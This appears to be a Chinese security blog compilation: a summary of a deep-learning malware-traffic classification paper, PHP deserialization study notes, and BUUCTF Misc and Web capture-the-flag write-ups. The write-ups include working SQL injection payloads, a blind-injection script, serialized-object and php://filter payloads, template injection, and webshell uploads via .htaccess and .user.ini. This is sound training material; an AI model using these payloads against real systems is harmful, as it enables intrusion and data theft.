Deep Learning Based Malware Traffic Classification for Power Internet of Things Network Security

Deep Learning Based Malware Traffic Classification for Power Internet of Things Network Security 论文分享

Tong YU, Xin LI, Ying LING, Dongmei BIN, and Chunyan YANG. 2022. Deep Learning Based Malware Traffic Classification for Power Internet of Things Network Security. In Proceedings of the 7th International Conference on Big Data and Computing (ICBDC ‘22). Association for Computing Machinery, New York, NY, USA, 131–137.

原文pdf链接:https://dl-acm-org-s.otrust.ouc.edu.cn/doi/10.1145/3545801.3545820

基于深度学习的电力物联网网络安全恶意流量分类

这篇文章为电力物联网网络提出了一种新颖的基于深度学习的恶意软件流量分类方法,将流量以固定大小的字节序列的形式表示,并建立1D-CNN模型用于恶意软件流量检测和分类

背景

在电力物联网中,大多数物联网设备资源有限,没有配备足够的安全保护方案,面临攻击者和恶意软件破坏安全的危险。对恶意软件流量分类是电力物联网网络安全的重要内容,可以支持入侵检测和防御等高级安全应用。

恶意软件流量分类方法可氛围三种,基于签名的方法、基于机器学习的方法和基于深度学习的方法。

本文提出一种基于1D-CNN模型的而已软件流量分类方案,主要有两步。第一步是网络流量处理,对原始网络流量进行捕捉并转换为固定长度的字节序列;第二步是模型训练,将以字节序列形式表示的流量输入1D-CNN模型进行训练。训练的模型由两种,一种是恶意软件流量监测模型,可以区分而已软件流量和良性应用流量,另一种是而已软件流量分类模型,可以识别特定的恶意软件流量类别。

网络流量处理

电力物联网恶意软件流量分类的对象是双向网络流量,单项网络流量是在一个实践间隔内网络中传输的网络数据包序列,这些数据包共享相同的5元组,其中包括原互联网协议地址、源端口、目的互联网协议地址、目的端口和传输协议,即TCP或UDP,双向流量是在两个断电之间双向穿越的单向流。

本文网络流量处理的目的是将电力物联网网络中收集到的网络流量转化为深度学习模型可以作为输入的标准IDX格式。

首先,以原始数据包跟踪的形式捕获网络流量,然后对原始网络数据包进行分析,重建网络流量,丢弃乱序数据包和重复数据包,其次将网络流量转换成统一的784字节大小,将流量中所有包含报头和有效载荷的数据包连起来,形成一个字节序列,以784字节大小进行分割,不足784字节的添加零位,最后将字节序列转换为深度学习常用的IDX格式。

为了实现流量可视化,将固定长度字节序列形成的流量转换为大小为28像素×28像素的灰度图像,图像中每个像素代表网络流量的一个字节,比如说下图,前10类是恶意流量,后10类是良性流量,每一类随机选择9个流量来代表该类别,可以看出每个类别中的流量图像在纹理上是一致的,不同类别的图像在纹理上有明显差异。

image

分类模式

CNN被广泛应用于各种机器学习任务,本文采用近年来在自然语言处理中成功应用的1D-CNN模型。以784字节序列形式表示的网络流量作为输入,1D-CNN模型经过训练后可秩序恶意软件流量检测和恶意软件流量分类任务。为了从流量数据包之间的模式中发现隐藏特征,我们将流量经过三次卷积层和最大时间池化层,对于1D-CNN的第一层,应用大小为m×n的滤波器w,输出公式如下

image

f(-)是一个非线性激活函数,本文使用的是ReLU函数。然后应用池化层。在完成3轮卷积层和max-over-time池化层后,通过4个完全连接层的soft-max函数获得流置信度最高的标签。1D-CNN模型各层的详细参数如下表所示。

image

评估

数据集:USTC-TFC2016

数据集中有10类恶意软件流量,每一类约有六至八千个流量,还有10类良性应用流量,每类流量约有六至八千个流量,数据集的详细构成如下表。

image

将所提模型与LENET进行比较,LENET是最先进的恶意软件流量分类深度学习模型。评估指标为精确率,召回率和F1分数。下图为恶意软件流量检测的结果。可以看出,本文提出的1D-CNN模型能正确分类所有测试流量,总图准确率达到了100%,LENET模型的准确率也达到了99.9959%。

image

下表是三个按类别度量的结果。可以看出1D-CNN模型在所有指标上以及在恶意软件和良性流量类别上都获得了100%的准确率,整体优于LENET模型。

image

结论

本文提出了一种基于1D-CNN模型的深度学习恶意软件流量分类方法,首先从原始网络数据包数据中提取固定大小的字节序列,然后对其进行分类,将序列输入1D-CNN模型来训练分类器,在公共数据集上进行实验,得出所提出的方法在总体准确率和每类指标方面都优于现有的最先进模型。

PHP

php变量规则

变量以$开始,后面跟着变量名称(不用声明变量类型)

1
2
$text="helloworld"
$a=1

变量类型

1
2
3
local
global 函数内访问全局变量
static 函数完成时,它的所有变量通常会删除,希望某个局部变量不被删除,就使用static关键字声明

输出 echo

输出变量

$txt1=”学习 PHP”;

$cars=array(“Volvo”,”BMW”,”Toyota”);

echo $txt1;

echo “< br >” 换行

echo “我车的品牌是 {$cars[0]}”;

输出print 和echo使用方法一样

PHP反序列化

public protected 子类可用

private 子类不可用

php序列化

序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输形式的过程

对象 序列化为 字符串

将对象或数组转化为可存储/传输的字符串

在php中使用函数serialize()来将对象或者数组进行序列化,并返回一个包含字节流的字符串来表示

表达方式

1
2
3
4
<?php
$a=null;
echo serialize($a);
?>

输出为N;

对象的序列化

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $pub="benben";
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

不能序列化类,可以序列化对象,输出为:

O:4:"test":1:{s:3:"pub";s:6:"benben";}

O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:6(值的长度):"benben"(变量值);}

private私有属性序列化时,在变量名前加”%00类名%00”,但是直接看看不见

要先加上这个,再对私有属性进行反序列化

php反序列化

反序列化的特性

1、反序列化之后的内容为一个对象

2、反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关

3、反序列化不触发类的成员方法,需要调用方法后才能触发

[3 先反序列化,再调用类里面的成员方法,类不能被注释,否则找不到成员方法]

反序列化 unserialize

反序列化就是将序列化后的参数还原成实例化的对象

序列化 serialize

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值

通过调用方法,出发代码执行

eval()执行代码

魔术方法

魔术方法是一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞成因:反序列化过程中,unserialize()接收的值(字符串)可控,通过更改这个值(字符串)得到所需要的代码,通过调用方法,出发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法触发时机,参数,返回值

image

__construct()

__construct() 构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

返回值

在序列化和反序列化过程中不会被触发

__distruct()

__distruct() 析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

实例化对象结束后,代码运行完会销毁,触发构造函数__destruct()

触发时机:对象引用完成,或对象被摧毁

功能:

参数:

返回值

在序列化过程中不会被触发

在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数__distruct()

image

__sleep()

__sleep() 序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会现被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返沪需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

image

__sleep执行返回需要序列化的变量名,过滤掉password变量

serialize()只序列化sleep返回的变量

__wakeup()

__wakeup() unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作

触发时机:反序列化unserialize()之前

功能:

参数:

返回值:

__wakeup()在反序列化unserialize()之前

__destruct()在反序列化unserialize()之后

有的题要绕开它们,避免值被改变

__toString()

__toString() 表达方式错误导致魔术方法触发

触发时机:把对象当成字符串调用

功能:

参数:

返回值:

把类User实体化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump

如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()

__invoke()

__invoke() 表达方式错误导致魔术方法触发

触发时机:把对象当成函数调用

功能:

参数:

返回值:

把类User实体化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump

加()是把test当成函数test()来调用,此时触发invoke()

$test()

__call()

__call()

触发时机:调用一个不存在的方法

功能:

参数:2个参数传参$arg1,$arg2(参数个数与定义的__call()函数相对应)

返回值:调用的不存在的方法的名称和参数

调用的方法不存在,触发魔术方法__call()

image

__callStatic()

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

功能:

参数:2个参数传参$arg1,$arg2(参数个数与定义的__callStatic()函数相对应)

返回值:调用的不存在的方法的名称和参数

调用的方法不存在,触发魔术方法callStatic()

静态调用 $test :: callxxx(‘a’)

非静态调用 $test -> callxxx(‘a’)

__get()

__get()

触发时机:调用的成员属性不存在

功能:

参数:传参$arg1

返回值:不存在的成员属性的名称

var2不存在

$test -> var2;

__get($arg1)

把var2赋值给$arg1

最后输出var2

__set()

__set()

触发时机:给不存在的成员赋值属性

功能:

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

__isset()

__isset()

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用

功能:

参数:传参$arg1

返回值:不存在或不可访问的成员属性的名称

image

__unset()

__unset()

触发时机:对不可访问属性使用unset()时

功能:

参数:传参$arg1

返回值:不存在的成员属性的名称

__clone()

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

功能:

参数:

返回值:

魔术方法总结

image

image

image

POP链构造,POC编写

POP链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用的方法叫”面向属性编程“,即POP

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

POC编写

POC中文译作概念验证,在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码

编写一段不完整的程序,获取所需要的序列化字符串

image

要触发Modifier的append得到flag,value=flag.php

要触发Modifier的__invoke() 把对象当成函数调用

触发Test的__get() 给不存在的成员属性赋值,p赋值为Modifier对象,就能return对象

然后触发get,给不存在的成员属性赋值,给Show中的$str赋值为Test属性,

然后需要触发__wakeup,反序列化之前,在wakeuo中,让source为Show对象,一定要是Show的对象,否则无法触发tostring

再把对象当字符串用,就能触发tostring

字符串逃逸基础_字符减少

反序列化分隔符

反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize再经过unserialize,再这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

构造值,让倒数第二个“及之前的功能性代码变为值,则后面的值变成功能性代码

image

反序列化字符串逃逸:多套一处一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

字符串逃逸基础_字符减增多

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造带吗

反序列化字符串增多逃逸:构造出一个逃逸成员属性,第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

image

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸成员属性

字符串逃逸增多,例题思考

profile是test对象,且pass值为escaping

把$name中的$safe替换为hack

__construct()实例化对象时会触发

实例化test对象时会触发__construct,把$param的值赋给test对象的user

然后反序列化时,会把$param中的flag和php都转为hack

要改变pass的值,但是分析一遍过后发现没有对pass进行更改,因此利用filter中将php替换为hack,字符串逃逸,字符增多,把有效代码往外吐

“;s:4:”pass”;s:8:”escaping”;}

要吐出29个

所以要29个php替换为hack

字符串逃逸减少,例题思考

要让$profile->vip为true,才能输出flag

题目要获取user和pass

param为user

user和pass的值为test类的user和pass值

filter是把flag和php替换为hk

字符串减少,把后面的包进来

要变成功能性代码的

s:4:”user”;s:?:”fff”;s:4:”pass”;s:25:”1”;s:3:”vip”;s:4:”true”;}

前面要包住20个,flag包2,php包1

10个flag

?user=flagflagflagflagflagflagflagflagflagflag &pass=1”;s:3:”vip”;b:1;}

O:4:”test”:3:{s:4:”user”;s:4:”flag”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}

wakeup绕过

反序列化漏洞:CVE-2016-7124

漏洞产生原因:如果存在__wakeup方法,调用unserilize()方法之前

会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时

会跳过__wakeup()的执行

把成员属性数量+1,就能绕过__wakeup()

如果题目中正则表达式,不允许O后面跟数字,就写成O:+6

1
'/[oc]:\d+:/i'

例如:

$a = ‘O:+6:”secret”:2:{s:4:”file”;s:8:”flag.php”;}’;

echo urlencode($a);

记得最后要urlencode一下

引用

符号&

$a->enter=&$a->secret

保证$a->enter的值和$a->secret的值一直一样

session反序列化漏洞

当session_strat()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)

存取数据的格式有多种,常用的由三种

image

漏洞产生:写入格式和读取格式不一样

当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。

image

image

Buuctf Misc(2-5)

Buuctf Misc(2-5)

2、金三胖

下载得到一个动图

使用Stegsolve逐帧查看

image

image

image

1
flag{he11ohongke}

3、你竟然赶我走

得到一张jpg图片

用Stegsolve打开

Analyse-File Format得到flag

image

1
flag{stego_is_s0_bor1ing}

4、二维码

扫描二维码,得到secret is here

先将png图片更改后缀转为txt文件,发现了4number.txt,还有一些PK值,c猜测隐藏了一个zip压缩包(zip的创始人名字简写为PK)和4number.txt文件

image

将后缀改为zip格式,用压缩软件能打开,并且发现一个4number.txt文件

image

双击4number.txt,需要解压密码

image

爆破,得到密码7639,解密得到flag

image

1
flag{vjpw_wnoei}

5、大白

根据题目提示,用010 Editor打开图像

修改图像高度,与宽度一致

image

保存,查看图像,得到flag

image

1
flag{He1l0_d4_ba1}

Buuctf Web(29-32)

Buuctf Web(29-32)

29、BabyUpload

上传木马文件

image

image

抓包,把Content-Type改成image/jpeg,send,上传成功

image

文件解析漏洞(.htaccess)

再上传一个文件.htaccess,用于把我们改成上传的1.png转换成php执行的文件

1
2
3
4
5
6
.htaccess是什么
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

来源网站:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html

image

image-20230815191917070

剑蚁连接

url:http://954cf8be-bbf5-4eae-b98c-8ec3134ab480.node4.buuoj.cn:81/upload/eb1fdce4f69ef7dbee3449f34d370e48/1.png

密码:zyh

image

测试连接,连接成功,添加

右键单击,文件管理,可以看见刚刚上传的两个文件

image

到根目录可以看到flag

image

双击得到flag

image

1
flag{311e55a5-2d17-4918-bc47-3bd56396cb65}

30、BabySQli

随便输入,然后登录

跳转到了search.php

image

查看源代码

image

第一行有一串加密的字符,base32+base64解密

image

image

得到:select * from user where username = ‘$name’

存在一个admin用户,当name=admin时回显不是user error而是pass error

这里的验证方式是将name带入查询再将查询后的密码与输入进行比对。经过常规注入手段我们发现这里有三个字段

image

爆字段数:name=admin' Order by 3 #&pw=1——注意:这里的or被过滤,使用大小写绕过

image

经测试admin在第二字段

union联合查询在查询不存在的数据时,会创建一个临时数据,然后返回这个临时数据union select 1,2,3,返回数据就为column1:1,column2:2,column3:3。我们可以根据这个特性来猜测user字段的位置。经过猜测我们发现admin在2的位置。

image

猜测3的位置应该就是pass字段并且这里pass应该存储的是MD5值,将123进行MD5加密放到3的位置,这时union select, 1,admin,‘md5(123)’,的返回数据为column1:1,column2:admin,column3:md5(123),并且将返回的md5(123),与我们输入的pass的md5值进行比对如果一样则会登陆成功。

payload:name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123

得到flag

image

1
flag{ee2e0a88-2e24-42a8-aca4-82df10b46a95} 

31、Blacklist

堆叠注入+HANDLER

image

1';show databases;#

image

1';show tables;#

看到了FlagHere

image-20230815165542275

1'; show columns from FlagHere;#

看到了flag字段

image

大佬的方法

HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

image

1
flag{a23e0fdb-6350-412e-9f51-b021e9d5956e}

32、Hack World

显示了一些常见的SQL字符,很多都被过滤了

但还有()字符没被过滤,我们使用()代替空格,而且题目提示flag在flag表的flag字段中

使用脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1}
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(str(num)+':'+flag)
else:
continue
print(flag)


if __name__ == '__main__':
url = 'http://f3973461-b610-4d3c-aebe-b5c7fba25e38.node4.buuoj.cn:81/index.php'
blind_injection(url)

运行得到flag

image

1
flag{fbc1a128-737d-4d89-9b9d-fad374bbef13}

Buuctf Web(25-28)

Buuctf Web(25-28)

25、HardSQL

一些and、union、select、空格等常见的SQL语句被过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这道题是xpath报错注入,函数注入

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 : 第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

输入用户名:1

密码:1'or'1'='1

image

出现这段话,并且url加上了/check.php

image

爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111

geek

image

爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111

H4rDsq1

image

爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111

id,username,password

image

爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111

flag{52272770-1ba7-4986-8a7d-cb

image

这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111

7-4986-8a7d-cb84363e2987}

image

1
flag{52272770-1ba7-4986-8a7d-cb84363e2987}

26、Ez_bypass

这是一段php代码

image

查看源码,得到易读的格式

image

分析代码

第一步

首先用get方式传入id和gg

md5($id)===md5($gg)数组绕过:id[]=a&gg[]=b,最后可能会报错,但是null=null,判断为true,成功绕过

构造payload:/?id[]=a&gg[]=b

image

第二步

用post方法传入passwd,passwd不是数字和数字字符串,但是passwd值为1234567

is_numeric() 用于检测变量是否为数字或数字字符串

所以passwd为1234567a

用插件实现post传参

构造payload:passwd=1234567a

得到flag

image

关于md5的总结【CTF】关于md5总结_ctf md5_吃_早餐的博客-CSDN博客

1
flag{e2f8945c-0443-493c-8023-304121617ba8}

27、AreUSerialz

代码审计:op变量使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。在process()方法中,使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。在read()方法中,使用file_get_contents()函数来读取属性filename路径的文件。

编造序列化(利用public属性序列化,绕过is_valid()函数)

1
2
3
4
5
6
7
8
9
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>

得到序列化结果为

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
image

构造payload:/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码

image

解码后得到flag

image

1
flag{0f854947-b236-49a6-ae66-d96e523aa8ca}

28、CheckIn

user.ini文件构成PHP后门

创建.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测

image

image

image

创建图片文件

image

image

image

蚁剑链接http://3b30b477-b314-466c-bb51-8e982490eea3.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php

试了很久返回数据为空,不知道怎么解决

1
 

Buuctf Web(21-24)

Buuctf Web(21-24)

21、easy_tornado

题目首页有三个链接,首先查看/flag.txt,可以看到flag在/fllllllllllllag中

image

查看/fllllllllllllag,显示Error

image

并且url变成了/error?msg=Error

image

查看/welcome.txt,内容为render

image

1
2
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

查看/hints.txt,这是一个加密方法,猜测 要构造filename=/fllllllllllllag&filehash=?

image-20230812150637958

在查阅资料后发现Error就是注入点

本题是模板注入SSTI模板注入 - 简书 (jianshu.com)

参考资料Tornado小记 – 模板中的Handler - 黑翼天使23 - 博客园 (cnblogs.com)

获取handler.settings环境变量:/error?msg={{handler.settings}}

得到cookie_secret

'cookie_secret': 'caffff81-323f-48da-8323-dc1530a0c95d'

image

编写脚本

1
2
3
4
5
6
7
import hashlib

def Md5(x):
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
return md5

print(Md5("caffff81-323f-48da-8323-dc1530a0c95d"+Md5("/fllllllllllllag")))

image

构造/file?filename=/fllllllllllllag&filehash=7d14388e78d85a8f1e726052e9d4dfbd

得到flag

image

1
flag{5673c2e4-27f7-4962-8d87-f449b8069952}

22、admin

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

猜密码

用123登陆成功了。。。

image-20230812171109196

在网上看大佬解题思路

注册

image

登录,右侧依次查看

image

在change password的源代码中看到一个被注释的链接

image

访问这个链接,内容已被删除,所以就没再看了

image

1
flag{88c07276-46ea-4e23-a50d-ce722b067e0f}

23、你传你🐎呢

查看大佬的博客后,了解到,该题需要上传两个文件

一、.htaccess文件,用来改变文件扩展名

image

上传该文件,抓包,修改Content-Type:image/png,send

image

二、木马文件,用来连接蚁剑

image

改名为a.png,上传,抓包,修改Content-Type:image/png,send

image

用蚁剑连接

URL:http://f532922c-3101-4cac-ad67-3e8b27c936fe.node4.buuoj.cn:81/upload/535c8c0c4ab4ecda962a1a3922bee31d/a.png

密码:a

没测试成功,试了很久没写出来,留着以后看

1

24、NiZhuanSiWei

从题目的php代码中可以知道需要用get方式传三个参数,text,file,password

有一个php文件

image

访问该文件,什么都没有

有一行代码说我们要传入一个文件,内容是”welcome to the zjctf”

image

要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf

为了绕过一些过滤,用base64编码构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image

有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:/?file=php://filter/read=convert.base64-encode/resource=useless.php

完整payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码

image

解码

得到useless.php源码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php  

class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag();
$a->file="flag.php";
echo serialize($a);

找个在线运行PHP的网站,得到

image

构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image

查看源代码,得到flag

image

1
flag{6cb4bd76-2b5f-4876-9fe0-46f02e2d0062}

Buuctf Web(17-20)

Buuctf Web(17-20)

17、BackupFile

题目名称叫备份文件,直接用dirsearch扫描:py -3.9 http://2677258c-1c01-46a9-9f37-cef51bea8534.node4.buuoj.cn:81/ -e php

响应成功的

image

image

image

访问/index.php.bak文件,下载下来了

image

查看文件,如果key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3,输出flag

image

如果直接构造payload:/?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3

显示只要数字

image

==是弱相等,所以当key=123时,就会输出flag

构造payload:/?key=123

得到flag

image

1
flag{7e29466e-c1e3-4679-8eda-80c196664fe2}

18、Easy Calc

查看源代码,没看到啥

抓包,发现一个calc.php文件

image

查看该文件,有一个黑名单

image

1
2
3
4
5
知识点:
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。

查看源码,$(“#content”).val()相当于 document.getElementById(“content”).value;

image

PHP的字符串解析特性

尝试一下/calc.php?num=phpinfo()

image

1
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

加个空格

image

由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:
calc.php? num=1;var_dump(scandir(chr(47)))

image

构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

image

1
flag{21d2d1ed-ae60-4490-a8b0-0f712482f7cd}

19、BuyFlag

查看源代码,发现有两个php文件链接,点击一个查看

image

点击右边的菜单,有PAYFLAG,点击查看

image

出现这段话

image

查看源代码,用POST的方式传参,money=100000000,password=404,但是password不能为数字,所以password等于404+任意字符

image

前面提示必须是cuit的学生,所以修改cookie里的user=0user=1

修改uesr=0为user=1,页面变了,提示输入password

image

post传参,password=404a&money=100000000,提示数字太长

image

尝试次方 1e9,得到flag

image

1
flag{2eaf1e59-0556-4816-b343-80a3466e934e} 

20、Easy MD5

查看源代码,找不到有用的信息,抓包

看到有一个提示:Hint: select * from 'admin' where password=md5($pass,true)

image

1
2
3
4
5
6
7
8
9
10
11
md5(string,raw)

string 必需,规定要计算的字符串。

raw 可选,规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式;FALSE - 默认。32 字符十六进制数

需要构造or来绕过password,md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'即可绕过

类似的字符串还有:md5(129581926211651571912466741651878684928,true)=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

输入ffifdyop

image

提交

image

查看源代码

image

用get传参,满足a!=b且md5(a)=md5(b)

md5加密后的值开头为0E,则说明它们的值相等

payload:/levels91.php?a=s878926199a&b=s155964671a

image

包含flag.php文件

用post传参,满足param1!=param2且md5(param1)=md5(param2)

这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

param1[]=1&param2[]=2

得到flag

image

1
flag{5699128f-b8b5-4580-9e90-8ab95639eb15} 

Buuctf Web(13-16)

Buuctf Web(13-16)

13、Upload

